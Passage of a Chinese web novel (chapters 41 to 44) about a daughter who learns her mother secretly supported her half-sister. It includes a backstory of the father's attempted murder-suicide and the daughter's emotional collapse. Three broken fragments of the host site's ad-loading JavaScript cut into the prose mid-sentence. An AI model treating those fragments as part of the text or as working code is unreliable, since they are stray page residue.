孟之宁食指转着钥匙圈,笑嘻嘻解释:“是我从文霖那里偷过来的呀,厉害吧。” 薛谭心跳如鼓,踉跄着站起身便往外面走。 ——却怎么也比不过女人嘴巴一张:“卓钦是你姐姐。”她慢悠悠走到浑身抖个不停的女孩面前,好心解释:“同父异母。” 孟之宁又说:“不过你可别怪那孩子,她可不是私生女,薛韵跟你爸结婚前卓钦她妈就怀孕了——啊当然,你也不是哈,嗯......怎么说呢,怪复杂嘞,你爸跟卓钦妈分手后才和你妈认识的。所以说是谁的错呢?”她捏着下巴语气轻松地说:“肯定是你爸的错吧。” “他才不是我爸!”薛谭骤然出声打断,抬头愤然盯着面前的女人,上前一步捏紧孟之宁的胳膊将女人推在墙上,“我到底做错了什么?为什么你要那么恨我!为什么你是妈妈的朋友!为什么!” 汹涌的恨意占据全部心神,她再也无法直视眼前这个女人。 为什么要告诉她这些!明明她已经那么努力去遗忘那件事,她几乎用了六岁以后的全部时光去忘记那个人,为什么还要穷追不舍地来伤害她!就非要如此残忍地撕裂那本就令她痛不欲生的伤口吗? 泪水决堤而出,她无论如何也想不明白自己为何这样倒霉,大声哭喊:“你不是妈妈的朋友吗?不因为这层关系稍微喜欢我一点就算了,为什么还要那么狠心对待我?我到底哪里做错了!” 妈妈知道这个女人的所做所为吗?无比想要回答“妈妈她绝对不知道!”,可薛谭却比任何人都清楚答案是肯定的。 孟之宁静静看着厉声质问她的女孩,忽然收敛所有表情,又一次提醒被对那件事的恐惧阻隔了所有消息接收的女孩:“卓钦是你同父异母的姐姐。” 此刻窗外惊雷乍响,薛谭脑中维持所有理智的一根弦彻底崩裂。 41. 第 41 章 如果非要用一个词语来形容孟之宁和薛韵的关系,那么一定是“寄生”。 比如现在—— 之所以抚养孟文霖只是因为死丈夫把遗产都留给了儿子,挥霍完遗产后孟之宁便开始在薛韵的公司里挂个名头领工资,四十多岁的女人了依旧需要好友的供养。 就像从前一样—— 薛谭名字里的“谭”是姓氏,是薛韵母亲的姓氏。 给女孩起这个名字并不是因为薛韵有多么爱自己的母亲,只是因为正好想到了她,在自己成为母亲的那一刻,想到了自己那位懦弱又无能的母亲,于是给女孩起了薛谭这个名字。 薛韵其实不知道自己的母亲叫什么名字,只是年少时期偷家里钱时偶然翻到了母亲的身份证,瞥到了上面的“谭”字。家里其实挺穷的,但也不至于穷的揭不开锅,尽管学费凑一凑还是能拿出来的,那个男人还是要她辍学打工照顾弟弟。 那就去打工好了,我和你一起,我们一起逃走。 ——当时孟之宁是这么说的。 薛韵知道女孩并不是想要陪她一起打工,只是因为自己不在了,女孩也无法在这片丑陋的土地上继续生存下去。于是她偷走那个男人藏在柜子里的钱,又给母亲留了一封道歉信便带着孟之宁走了。 她们来到了繁华的z市,两人只有初中学历,找到最好的工作就是在生产皮鞋的工厂上班。没干多久,孟之宁便受不了了,夜晚蹲在狭小又脏污的小房间里嚷嚷自己不想打工了,想要回去上学。 那时薛韵是有点生气的,气女孩擅自决定跟自己出来又擅自说出回去的话。都市的高楼大厦她没有见过,她被困在黑暗拥挤的厂房里喘不过气,背着生存的庞大压力在陌生的城市简直寸步难行,如果连孟之宁也离开自己的话,她真的无法坚持下来。 薛韵帮孟之宁辞了职,但也无法允许她就这么闲着不干事,不然她会崩溃。 所幸女孩还不算太过分,她主动承担起了做饭和打扫家务的工作——虽然拥挤到寸步难行的小屋子也没什么可打扫的。 这样沉闷又平静的生活持续了五年,真是不可思议,薛韵竟然养了一个和自己一样大的女孩整整五年。她以为自己会怨恨、委屈抑或是不满,可是这些情绪统统没有,面对那个每天醉醺醺喝酒的女孩,她只觉得麻木。 或许她承诺负担孟之宁的人生从来不是因为所谓的友情或是不合理的责任,只是因为,这样可以提醒她:她还要养孟之宁,所以哪怕人生再怎么糟糕,她都不能死。 这样的生活一直持续到孟之宁谈恋爱,她和一个有钱男人交往了。所谓一人得道鸡犬升天,孟之宁是人薛韵就是那鸡和犬,薛韵终于不用在永远弥漫着皮革臭味的工厂里上班了,她局促拎着少的可怜的行李住进男人给孟之宁租的公寓,来到了男人的公司上班。 薛韵辍学以来的五年中,每夜都会独自挑灯读书,刚开始还在固执地读高中课本,可是后来看不懂数学也看不懂物理和化学,翻来覆去觉得也没有用,便丢开课本开始看文学书籍了。 后来她在孟之宁男朋友的介绍下认识了一个名叫张义嘉的男人,算是相亲吧。薛韵懵懵懂懂,第一次经历这样的场合令她有一点害羞,好在那个男人谈吐举止都很有教养,非常会察言观色,并不叫她觉得过分难堪。 本来只是相亲而已,但是后来随着越来越深入的接触,薛韵很快和张义嘉坠入了爱河,他们两个就像z市街头许多打扮时尚的情侣一般约会、说笑,这让薛韵终于有了点城里人的感觉了,她更加喜欢张义嘉。 就当薛韵坚定地相信她会和张义嘉相守终生时,意外发生了,她怀孕了。 她怒不可遏找到张义嘉,与他大吵了一顿,并扬言一定会打掉这个孩子。张义嘉跪在地上苦苦恳求,掏出婚戒向她求婚,几次三番保证自己绝对会好好对待薛韵和她肚子里的孩子。 那时的薛韵太年轻,对于怀孕的第一反应便是恐惧,愤怒打掉他手里的戒指,转身毫不犹豫离开。 那时的薛韵太年轻,哪怕看上去总是风风火火的干练模样,但她还是太缺乏人生阅历。所以才会在淋雨发烧住院后,仓促又糊涂地原谅了照顾她一天一夜的张义嘉,并且选择结婚。 尽管多次安慰自己和张义嘉结婚是为了在z市落户,可婚后的薛韵几乎每一夜都在后悔——她处理感情裂隙的方法太过生涩,只是选择了急切结婚,自以为婚姻是修补她与张义嘉感情的胶带,殊不知那只是一抔黄沙,松松垮垮掩盖了横亘在他们之间的矛盾。 薛韵婚后越来越厌恶张义嘉,尤其在得知张义嘉在认识她之前有过一个女朋友,并且那个女朋友还怀孕了之后,厌恶的情绪到达顶峰。 他是一个虚伪懦弱又谎话连篇的男人。 连带着那个所谓的女儿,也不招她待见。 正巧薛韵在新公司的上司是一位睿智果敢,业务能力极高的女人,因为看好薛韵,也有提拔她的意思,因此常常带着她出差,正好帮助她逃离那个怨气冲天的家庭。 张义嘉自从结婚后变得越来越疯癫,常常痴痴地说些胡话,又或者嘶声力竭地指责薛韵。但好在他大多时候都还算冷静,还能好好照顾尚在襁褓中的薛谭,薛韵也是由于这个原因才没有把丈夫送去精神病院。 薛韵和那个叫薛谭的女孩并不熟悉,大概因为自己常常不在家,女孩很少见到她,因此总是怯生生地躲在张义嘉身后不肯出来,每当这个时候就会被张义嘉粗鲁地往前推。 让她自己去玩吧。 这是薛韵每次回家都会说的话,毕竟她也不知道该怎么跟这个女孩相处。 事实上,随着岁月的流逝,薛韵跟在那位前辈身后做了许多大事也见过各种各样的人,那时她已经不再执着于所谓的爱情了,对于怨夫一样的张义嘉更多时候是无视。只要他安分守己度过六年,帮助薛韵成功在z市落户,她会想办法和他和平离婚的。 然而意外还是发生了。 那是一个暴雨夜,正在外地出差的薛韵接到警察的电话说她丈夫死了让她赶紧回来。 忽然打了一个雷,薛韵浑身一哆嗦,眼前骤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然浮现出那个胆怯注视着自己的小女孩。 她连忙订机票回到z市,直奔警察局,然后那个女孩出现在了自己面前。 这个女孩...... 薛韵心脏猛地一缩,控制不住后退一步,她始终以为她对这个女儿没什么感情,但或许所谓血脉相连就是如此神奇,在看到那个满身湿泥,嚎啕大哭奔向自己的女孩时,薛韵几乎是瞬间心痛地落了泪。 原来昨天晚上九点钟的时候,张义嘉淋着雨带小薛谭来到了大桥边,要带着亲生女儿一起跳河。小薛谭年纪小却很机敏,意识到男人的反应后便使出全身的力气用力抓住桥上的柱子不肯撒手,可张义嘉铁了心要拉着女儿一起去死,两人在桥上拉扯起来。 最后因为下雨石围栏过于湿滑,成年人体型的张义嘉意外从桥栏上翻了下去,而小薛谭也因此幸免于难。 “你婆婆听闻这件事心脏病突发,独自在家中无人抢救......也去世了。” 这真是两个糟糕的消息。 浑浑噩噩的薛韵抱着哭个不停的薛谭回到家中,她在沙发上从早坐到晚,女孩也在自己怀里从早哭到晚。 直到女孩因为过于劳累昏睡过去,薛韵拖住女孩的双臂才开始控制不住地发抖,她在这一刻才真正意识到自己原来是一个那么冷血的人,亲生女儿遭遇了这样的事,她唯一的感受便是恐惧——恐惧自己的人生又一次被捆绑住了。 小薛谭发烧了,这是薛韵在第二天傍晚才察觉到的事情。 她惊恐不安,抱着女孩便往医院赶,一路上都在祈求那个只有六岁的,脆弱的生命千万不要有事。 或许真的是苍天怜悯,烧了整整两天一夜的小女孩奇迹地被治愈了,幸好没有事,幸好没有事。薛韵痛哭流涕,哪怕知道自己今后的人生将不得不与这个女孩绑定,自己追寻多年的自由也将烟消云散,但她依旧觉得庆幸。 因为这是她骨肉相连的女儿啊。 她请了两个月的假处理婆婆和丈夫的丧事,又手忙脚乱地为将要上小学的薛谭办理好入学手续。 然而,就在薛韵以为一切都尘埃落定,终于松了一口气时,她遇到了卓钦。 张义嘉——不,是卓宛的女儿。 那是一个瘦瘦高高的女孩,虽然只比薛谭大了一岁,沉静的眼神与冷冽的神容却完全不像一个小女孩,甚至说出的话也—— “求求您借我们点钱。”女孩扑通一声跪在地上给她磕头。 什么啊。 听完卓钦的话,薛韵失力一般坐倒在沙发上。 卓钦的母亲卓宛是个病体缠身的悲苦女人,而薛韵的婆婆这七年来竟然一直供养着这对母女,大到手术费住院费小到卓钦日常所需的各项费用,竟然都是她婆婆在出。 所以他们死了之后,这些责任也要落在她身上了吗? 她没用又偏心的父母暂且不提,孟之宁就算了,薛谭也算了,为什么现在连一对陌生的母女也要来吸她的血! 谁又能让她吸一口血,谁又能给她一丝喘息的机会! 42. 第 42 章 “盛晚!”薛谭哭着拍响对面的房门。 “谭谭!”打开门便见到泪流不止的女孩,盛晚一颗心紧紧揪起,着急询问:“发生什么事了?” 薛谭脑子里像是有千百只飞虫撞来撞去,她头疼欲裂,哭得说不出话来,只是断断续续要求:“我要见妈妈......” 盛晚平生第一次用那么大力气攥紧女孩的手腕,二话不说带着她开车前往万家。 一路上他都在边开车边安抚女孩的情绪,可女孩就像是受了什么刺激一般只是抱着头瑟瑟发抖,什么话也听不进去。握着方向盘的手用力到几乎将它掰碎,他不愿意表露出不好的情绪让再次影响到女孩,却控制不住一双眼睛迸射出狠毒冷冽的锋芒。 外面还下着大雨,这是盛晚买回车后第一次在暴雨天行驶,加上车里还坐着薛谭,他开得小心翼翼,等到达万家时天已经黑了下去。 冬日冷雨刺骨的寒凉,盛晚刚刚打开车门薛谭就不管不顾冲出去,他捡起车上的伞便追向在暴雨中奔跑的女孩,却怎么也跟不上。 天边一道惊雷劈开黑云翻涌的天空,白光照亮薛谭脆弱的面容,掩藏其下的是无尽的恨意。 薛韵......竟敢背叛她!无法饶恕无法饶恕无法饶恕! 那个男人刚刚死掉的一段时间里,薛谭几乎每一夜都会被无穷尽的噩梦折磨,哭着醒过来,然后在寂寞孤冷的环境里恐惧着、害怕着,饱受摧残。 梦里的一切犹如那个男人如何都驱不散鬼魂一般死死缠绕着年幼的薛谭,滂沱大雨、粗鲁拖拽自己的疯癫男人、以及犹如吃人的巨兽一般滚滚不息的河流,这些碎片组成她童年最深的阴影,像是铁笼一般将她盖在肮脏冰冷的泥水里,逃脱不得。 父亲要杀了自己,母亲不喜欢自己,薛谭总是寂寞的。很多时候都在怀疑自己是否真的那么糟糕,毕竟哪有孩子一样像自己一样被亲人如此厌弃着呢。薛谭度过了很长一段时间的消极时光,她自我厌弃,总是不断地否定自己,抗拒与外界的接触,害怕再有人像自己的父母一样讨厌自己。 好在她还不是那么糟糕。 薛韵也没有那么讨厌她。 那个男人死后,薛韵迫于生活的压力常常对小薛谭发火,起初的小薛谭惶恐不安,战战兢兢地与母亲相处。但是后来,不知是不是慢慢习惯了这样的生活,薛韵不再时不时就冲小薛谭发脾气,更多时候她都是一副不熟悉的样子对小薛谭客客气气。 好似游戏npc按照程序完成抚养女儿的任务一般。 再后来时间冲刷了两人之间的幼稚的别扭,共同生活在同一个屋檐下的母女两人虽然还没办法像许多正常母女那样甜言蜜语,温情暖心,但是相处时也自然了许多——这是指她们对话时,大多时候双方都能保持平静。 唯一还顽强阻碍在她们之间的突兀点,就是薛韵偶尔会诚惶诚恐地道歉,像是做了什么亏心事一般僵硬地“讨好”薛谭。 曾经的薛谭一直以为这是疏离后的副作用,是薛韵良心发现因此心里觉得对不起这个没有好好关爱的女儿。 知道现在她才明白,原来根本不是这些可笑的原因,根本只是因为,薛韵真的做了亏心事。 薛韵竟然背着她扶养了那个男人的女儿! 女人分明知道薛谭对那件事恐惧无比,甚至稍微想起来就会害怕地像个疯子一样害怕地大喊大叫,恨不得缩成一团挤进黑暗中,而知道这一切的薛韵,竟还要固执地接触和那个男人有关的人,甚至瞒了薛谭那么多年。 如果薛韵非要资助那个男人的女儿,薛谭知道后可能会抑郁消沉很长一段时间,自暴自弃地怀疑母亲是不是一点也不喜欢她,想要放弃自己了,但只要薛韵好好陪伴她,安慰她,她一定能好起来并且接纳那个女孩。可薛韵错就错在她隐瞒了这件事,欺骗了这件事,背叛了薛谭! 为什么要这么对她! 薛谭停在万家的大门前,不仅手指,连骨头都在咯咯作响,她不知到底是冷的还是气的,亦或者是恐惧。被雨水模糊的面容上顷刻间被滚烫的泪珠覆盖,她双手捂住眼忍不住痛哭,一遍又一遍在心底质问凭什么不被母亲喜欢的的是自己?凭什么要被父亲想要杀死的是自己? 或许归根结底她所无法释怀的从来不是那天暴雨夜濒死的巨大恐惧,而是爱,是无法得到爱的自己。 薛谭一直不愿意回忆起那件事,因为不想再继续被噩梦缠绕,她曾设想过假如自己不小心想起来那件事时的反应,以为自己会像个疯子一样抱头逃窜,可如今—— 在这样的倾盆大雨,电闪雷鸣中,她只是觉得伤心,伤心到喘不上气,痛苦难以自抑涌遍全身,冷意都被驱散了。 她颤抖着手,用力拍打万家的门,连续拍了五下,门才缓缓打开。 门一点点被打开,直到这一刻薛谭才真正反映过来,她原来一直在渴望拯救,哪怕是现在,仍然寄希望于那个女人来拯救自己—— 可惜她错了,这是不可能的。 薛韵此人,孤傲不驯,她会为了心底的道德良知停下脚步,承担起属于与不属于她的责任,但她永远不会因这些责任产生更多的感情,她是真正的,为了自己而活。 开门的是卓钦。 薛谭头脑一片空白,迷蒙地看着眼前少女被自己狼狈的模样吓得失声尖叫,看到薛韵和万晨霜来到自己面前。 女人拽住她的胳膊把她拖拽进屋里,万父不知从哪里拿出毛巾盖在她肩上,正在吃饭的万晨露也惊愕地站起身。 万晨霜拽住她的手姐姐姐姐的叫,她面无表情在心里数着餐桌上的饭碗,一个、两个、三个、四个、五个...... 五个盘子,冬日大雨,薛韵、万家人和卓钦正围在点燃烛火的温暖餐桌前用餐,甚至她可以清楚看到卓钦和万晨霜两个小辈的盘子旁还有单独的小蛋糕。 薛韵在她耳边叽里咕噜解释的什么她一个字也没听进去,头晕眼花,恨意节节攀升。 妈妈,为什么要背叛我。 薛谭拽掉肩膀上的毛巾仍在喋喋不休的万父脸上,大步走过去一把扯掉餐布—— “哗啦啦——” 盛装着菜肴的餐盘轰然碰撞在一起又破碎,发出尖锐刺耳的声音,倒塌的烛台溅射点点火星,随即红色的火焰快速蔓延半片桌布。所有人都被薛谭突如其来的动作吓了一跳,率先反应过来的万晨露立即冲进厨房端起洗菜的水泼上去,万幸的是火焰很快熄灭。 薛韵愣愣看着被灼烧成漆黑一片的满地狼藉,抬手便要打薛谭,被万晨露及时制止 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 薛谭抬头冷眼看向薛韵,女人显然一怔,木然挣开万晨露的手而后勃然大怒:“我不知道孟之宁跟你讲了什么,无论你有什么不满大可以冲我发,大半夜跑到这里来撒什么泼!”她怒不可遏指着黑黢黢的桌布,“你报复我的方式就是做出这么危险的事情伤害自己吗!” “你也知道孟之宁不想让我好过?”薛谭转身直视薛韵,满眼失望:“你骗我。你竟敢在这件事上骗我。” 薛韵睁大眼睛望着女孩,颓然开口:“我......我那时不知道你如此恐惧那件事,等我真正明白你的感受时......为时已晚。” 薛谭厉声打断:“你从没有真正明白过我的感受!”她不甘质问:“你能顾及一个四十多岁的大人也能顾及一个陌生的女孩,为什么!为什么你就不能多考虑考虑我的感受!为什么你就是不能多在乎我一点!” “我已经努力去理解你了桃桃——”薛韵握住女孩的肩膀试图解释。 “啊——”薛谭猛地推开薛韵,彻底崩溃:“如果你的理解就是你十几年来的所作所为的话,那我恨你!” 她不顾任何人的阻拦转身逃跑,薛韵被她刚刚的话震得绝望跌坐在地上,卓钦和万父担忧地陪在女人两侧,万晨霜无助地望向万晨露。 万晨露咬牙,追出去:“等等薛谭!”她刚刚跑出去便见到将要闭合的电梯门,脱口大喊:“雨太大了你回来!” 毫厘之差,电梯门关上了。 万晨霜也跟着追出来,愣愣看着将头埋在电梯门上的女人,一瞬间心乱如麻,抬腿便往步梯间走。 万晨露抬手拽住惊慌失措的少男,疲惫不已:“她男朋友陪在她身边,应该不会有事。别去了,别添麻烦了,她们母女的事情和我们没关系。” 薛谭浑身发抖着坐进车后座,接过盛晚递过来的厚外套紧紧包裹住自己,闭上眼睛低头不语。 牙齿不停打颤,她猛踹了一脚前面的驾驶座,精神溃败大喊:“好冷啊!为什么这么冷!”不等盛晚说什么,她又哭着自顾自解释:“我没想伤害任何人,我没注意到餐桌上的烛火......都是他们在伤害我啊!我又做错了什么?为什么每个人都不喜欢我每个人都讨厌我!既然那么不喜欢我当初就不要生下我啊,既然生下我了为什么都不爱我!我到底做错了什么!” “谭谭没有做错任何事!”盛晚死死盯着前方,恨意与爱意在眸中交缠成浓烈的执念,大声喊出:“错的从来都不是谭谭而是那些伤害你的人!而且这个世界上不止有谭谭的母亲和父亲,还有很多很多喜欢着谭谭的朋友!” 一边说着,他一边腾出手将手机递给身后的女孩。 被悲伤淹没的薛谭下意识接过手机,泪水模糊的视野里,清楚无比看到了上面的消息—— 郭斯洁:【能不能赶紧回个消息!】 南采:【你没来学校?还在家里吗?是不是睡过头了,看到消息回我一下吧,我和郭斯洁都很担心你。】 张礼鸢:【晚会都结束了,你怎么没有来啊?是出了什么事吗?话剧社的大家都很担心你。】 ...... 还有十几个未接电话。 眼泪滴答滴答从屏幕上滑落,薛谭额头抵着手机,放声大哭。 43. 第 43 章 薛谭不愿意见到薛韵,没有回公寓,给万晨露以及学校里的朋友们报了平安后,她和盛晚来到了酒店里。 盛晚打开空调,进浴室调好热水,让女孩先进去洗个热水澡,又打电话让人送来新衣物给女孩递进去。他蹲坐在浴室门口,时刻关注着里面的动静,大脑嗡鸣不断,一颗心也忽上忽下的难以安定。 高中时期对谭谭一见钟情后,他确实有刻意了解过女孩在学校里的情况,只知道她沉默寡言,没什么朋友,成绩常年中等偏上没有什么起伏。他不愿意做背后调查心爱之人的行为,所知道的便只有这些。 后来谈恋爱了,盛晚能够从女孩偶然言语透露里推测出来她和她的母亲或许关系不好,和她继父一家人也不甚亲密。 他不知道女孩这两日究竟发生了什么事,对她所遭受一切苦难的心疼和对这些苦难源头的怒火共同在心中交织。他多么想立即为女孩解决所有烦恼,让她重回曾经快乐无忧的时光,可他也明白,盲目的拯救是自以为是,薛谭从来不是脆弱无能之人,她不仅有着坚韧顽强的灵魂,也拥有着忽视任何否定和质疑,在自己的世界里一步一步往前走的勇气。 盛晚能够做的就是陪伴在她身边,给予她属于自己的支持。尽管他的支持对于女孩而言或许微不足道,甚至有的时候蠢笨地惹人厌烦,但是只要能稍微帮助她一点,比如现在帮她叫来一身干净舒适的衣物,比如成为几株点缀她前进之路的鲜花。 这几天薛谭一直和盛晚待在酒店里,无论是学校里的朋友,还是孟文霖,亦或者是薛韵卓钦打来电话她一概不接。常常一遍又一遍确认盛晚是不是真的爱自己,大多时候会把自己塞进小角落里发呆,晚上一睡觉就会被噩梦惊醒,然后便不肯睡觉了,抱着盛晚一直念叨些混乱的语句。 薛谭这样不肯睡觉精神状态只会越来越差,盛晚心急如焚,想过许多办法都没有用。他提出过带女孩到动物园一起看看,可是薛谭根本不愿意出门,还因此生气质问他是不是嫌她烦了。 盛晚只得反复温声安慰女孩,顶着一张被扇得肿起的脸发毒誓自己绝对永远爱着她。 根据薛谭破碎的泪语,盛晚能够勉强拼凑出女孩过往遭受的可怕阴霾,到后来薛谭一哭他也跟着心疼地哭起来,两人互相依偎着抱紧对方,感受黑暗空间里除自己以外唯一的存在。 英语考试前天晚上,薛谭让盛晚买来酒后一声不吭躲在浴室里灌下去好几瓶,等盛晚听不见里面的动静慌忙进去查看时,才发现女孩抱着膝盖醉醺醺睡着了。 他害怕吵醒好不容易睡着的女孩,也害怕外界一点点动静会让借酒消愁的她回忆起那段令人绝望的过去,无比小心地抱起女孩轻轻放在床上,盛晚把窗帘拉得密不透风,打开手机看到许多个未接电话,眸色在暗沉沉的环境中依旧黑得醒目。 他长按关机,把手机放到一边,跪坐在床沿,双臂趴在床边静静凝视着薛谭。 无可挑剔的完美容颜哪怕被黑暗浸染,依旧宛如天使一般散发着圣洁纯净的气息,而那双直勾勾盯着女孩的眼睛则像是汇集了他全部的罪恶。黑色的瞳孔,没有一点光泽,仔细看下去湿漉漉的,却不让人觉得可怜,只会联想到雨夜的脏兮兮的小巷子里,被肮脏垃圾堆满的臭水沟。 雨水冲刷过腥臭的、脏污的垃圾,散发出恶心的味道,再顺势流进臭气熏天的潮湿水沟里。 丑陋肮脏的眼神。 盛晚是个很矛盾的人,他一边将薛谭视作真神一般供奉着,自见面起便已决定将自己全部身心献给女孩,为薛谭而延续自己轻飘飘的生命。 而另一方面,他又是个卑劣下贱的小人,在无人得见的至暗之处纵情亵渎着他世界里唯一的神。在见不到她的那三年时光里,他几乎是夜夜躲避着家里的佣人,像个变态一样脱光衣服跪在冷硬的浴室地板上,搂紧自己,放荡地喘息着。他死死压抑着几乎破开胸口吞噬他自己的欲望,绝对不肯触碰那处。 因为他就是薛谭的一部分啊,他是被薛谭扔掉的垃圾,哪怕无法待在女孩身边,也无法改变他属于薛谭这个事实,对吧?他的头发丝他的眼珠子他的手指他的腿他的脚,还有他的内脏,他的灵魂,他每一处血肉每一瞬的情感都该由薛谭掌控和拿捏。 所以说,谭谭啊,盛晚悲伤地望着薛谭,无声祈求—— 请幸福一点吧。 无论是选择像从前一样遗忘伤痛,还是下定决心直面伤痛,他都会坚定不移站在她身后支持她,只要她能幸福。 薛谭喝了酒,从昨晚七点多一直睡到第二天下午一点,真不愧是借酒消愁,难得睡了个安稳觉。她头有些疼,还晕乎乎的,大概是因为许久没有好好睡过又一下子睡那么长时间没反应过来。 接过盛晚递过来的醒酒汤喝下,她环视四周,嗓音沙哑得厉害:“怎么那么暗。” 盛晚把包子和粥摆在床上的小桌子上,温声解释:“我怕今天天明了光太亮打扰到谭谭休息。”他起身走过去缓缓拉开里面一层窗帘,房间亮了许多,但还有些昏暗,这是为了照顾薛谭的眼睛。 薛谭深呼吸一口气,闭上眼睛用力拍了拍自己的脸,下床去浴室简单洗漱过后便又爬回床上吃早餐。 她盘腿坐在床尾,吃的很认真,一碗粥喝完了还让盛晚给她再端一碗来。 “好好。”盛晚连忙拆开保温袋里另一份粥搅拌两下倒进薛谭面前的碗里,“慢点吃,别噎着了。” 薛谭咽下一口包子,端起碗喝两口粥,吩咐:“你快把我英语书拿来。” 英语考试有三十分是翻译课文原句,她上大学后都没怎么认真学过英语,得好好看看。 盛晚不知道什么时候又把灯打开了,他课本笔记做的很认真,每一个重要的句子都写上了老师提供的优美翻译,字迹清晰工整,看上去赏心悦目极了。 看着看着,她猛地一拍桌子,包子都被震得跳了两下,“我没拿身份证学生证。” 盛晚几乎为女孩这副鲜活的样子落下泪,又忍俊不禁:“谭谭放心好了,我已经拿过来了。” 薛谭愣愣看着少男手里属于自己的证件,旋即脸色一黑:“你什么时候回去拿的?” 听出来女孩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话音不对,盛晚赶忙坐在床边想要解释,却被女孩一脚踹在屁股上,他滑稽地往前踉跄了两步才栽倒在地上,逗得女孩扑哧一声笑出来。 盛晚也羞赧地挠挠头,跪在地上双手小心翼翼攀上女孩的膝盖,委屈解释:“我没有离开这个房间的谭谭,东西是我打电话找人送过来的。” 薛谭知道盛晚家庭条件很好,猜想大概是管家助理之类的回到家中拿过来的,她现在不愿意想别的事情,因此没有多问。 三点五十五开始考试,三点十分盛晚开车载着薛谭来到学校,下车前她嘱咐少男:“到时候卓钦说不定会来找我说话,你一看见她有这个苗头就立马拦住她知道没有!” “嗯!我记住了!”盛晚紧张兮兮。 她猜测卓钦有可能在考场外面看书,因此特意等到三点五十了教室外面没人才走进教室。一进去教室里的同学都下意识抬头看过来,很快就移开了视线,只有站在盛晚座位旁边的那个女生目光紧紧盯着她。 老师提醒:“都快点回到自己座位上,考试快开始了。” 没能从盛晚那里套上话也没能来得及和薛谭说话的卓钦脸色不太好看,看了薛谭一眼就回到自己的位置了。 两人一个姓薛一个姓卓,位置离得还挺近,不过好在中间还隔了两个人,薛谭不算太难受。 她慢吞吞写完卷子时教室里大部分人都走了。抬眼看看前门口和后门口都没看见卓钦的身影,但她不确定女孩是不是在中间等着自己,因此特意拖到截止时间才上交试卷。 不过有盛晚挡着卓钦应该没问题吧?不,少男能做到吗? 薛谭犹疑走出去,竟然没看见卓钦。反而是南采一直在教学楼门口等着自己。她给了盛晚一个眼神示意他可以离开了,提了提书包走向南采。 她有些拘谨,南采则显得平静多了,只是神色间隐隐透露着担忧:“你......你那天是生病了吗?”她没有要薛谭回答的意思,“你脸色看起来好差。” “......是吗?”薛谭有些勉强地笑了笑,她努力打起精神,让自己显得不那么像具尸体:“那天是有点发烧啦,所以没能去成,抱歉!不过现在已经好很多了!” 她们两个寒暄了一阵,南采问薛谭寒假有没有什么计划,薛谭倒是想到了剧本的事情,不过以她现在这个精神状态恐怕很难去好好创作剧本,看来只能对不起郭斯洁了,她摇摇头。 南采低头看两人并不齐整的脚步,提醒:“马上就可以报考初会考试了,寒假来了之后也可以考计算机了,你要是有意向可以关注一下,寒假就可以学了。” 薛谭微怔,明白和她只是建立在舍友关系上普通朋友的南采能说出这些话有多可贵,认真道谢:“嗯好,谢谢你南采,我会注意这两个考试的。” 南采笑笑,从书包里拿出一个信封,“哦对了,这是张礼鸢让我给你的。” 张礼鸢? 薛谭疑惑接过信封看了看,“这是什么?”总不会是信吧......张礼鸢给自己写信? ——不!等等!是卓钦! 44. 第 44 章 “抱歉,薛谭,发的消息你都没有回,我想你大概是不想打开我们的对话框的。以这种方式和你交流,你应该会感到很冒犯吧?擅作主张就将一堆奇奇怪怪的话交到你手中……这件事情还请你不要对张礼鸢心怀芥蒂,还是我恳求她帮我做的,她并不知道我们之间的事情。 虽然这件事情由我来说不太好,或许你更想听薛阿姨亲自解释,但是抱歉被我抢先了。 母亲是在和你的父亲分手后才发现怀孕了的。她身体不好,是一个很笨拙的女人,生下我之后身体状况就更加糟糕了,甚至一度只能住在病房里,无法得见外面的天空。她身体差到没办法工作,又需要养育嗷嗷待哺的我,无奈只能找到你的奶奶请求她老人家行行好,给予我这个孙女一些帮助,让我们能够活下去。 你的奶奶是一位非常心善的女人,在得知母亲的情况后毅然决然用自己的钱补贴我们的生活。我能够长到那么大,多亏了她大方请来的保姆悉心照顾我,才让我不至于饿死在家中。 老人家死后,得知这个消息的母亲气急攻心,身体更加一蹶不振。我知道这样十分厚颜无耻,可是我也没有办法了,我真的没有办法了,薛谭你能明白吗?我不像你拥有那么强大的母亲,我的母亲只是一个比当初还是个孩童的我还要脆弱的女人,我能怎么办呢?我只能向外界寻求帮助,而唯一有可能帮助我的便只有薛阿姨。 薛谭,我知道你在恼怒什么。你是不是在气薛阿姨和我扯上了关系,气薛阿姨背叛了你? 其实不是的。 薛阿姨性子要强。从前的她总想着努力往上爬,站到自己以前从来不敢想的位置。因此她拼了命地工作,常常不在家中,也是因此和幼小的女儿关系并不亲密。事故刚刚发生,薛阿姨作为家中的顶梁柱,想必比谁都要手足无措,她需要花费更多的精力去支撑这个家,因此忽略了你。 可是薛谭,这并不代表薛阿姨不爱你,她很爱你,也正是因为爱你才会选择将资助我这件事隐瞒下来。起初她并不知道你对于那件事情的恐惧,等他终于走进你的内心时,大概已经是我们10岁左右了。我想那时候的薛阿姨一定是想过放弃资助我的,可是她真的是很负责任的长辈,她无法做到抛弃幼小的我独自离开。事已至此,她能选择的只有为了不让你更加伤心,将此事隐瞒下来。 一直瞒着你,是我们的不对。刚开学时对你忽冷忽热,也是我的不对。 薛谭我承认我很羡慕你。 我多么羡慕你能够光明正大地和薛阿姨撒娇,多么羡慕那个忙碌又孤傲的女人会细心记下你所有的喜好与讨厌的事物,小心翼翼的捧着你,讨你欢心。而我作为她所资助的一个和她毫无关系的人,只能在偶尔才能有一次的共进晚餐中,带着无比艳羡的目光,看着她打开手机,皱着眉头思来想去,为你挑选衣服。 薛阿姨她也是第一次做母亲,我希望你能够对她稍微体谅一些,好吗?她很艰难。 薛谭,我想你也是爱着薛阿姨的,对吗?你爱她,她也爱你,或许很多时候那些看似不可跨越的鸿沟,我们所需要做的只是各自往后退一步,接纳不完美的对方。等到那个时候,我们便能发现,那些所谓的不完美其实都只是对方灵魂的一部分,也正是这些不完美构成了爱着我们的她。 再次为我贸然写出这封信,又贸然送到你手中道歉,对不起薛谭。我真心实意请求你再给薛阿姨一次机会吧,你去和他说说话,你们聊聊天,谈谈心,我相信一切都能好起来的。” 什么啊。 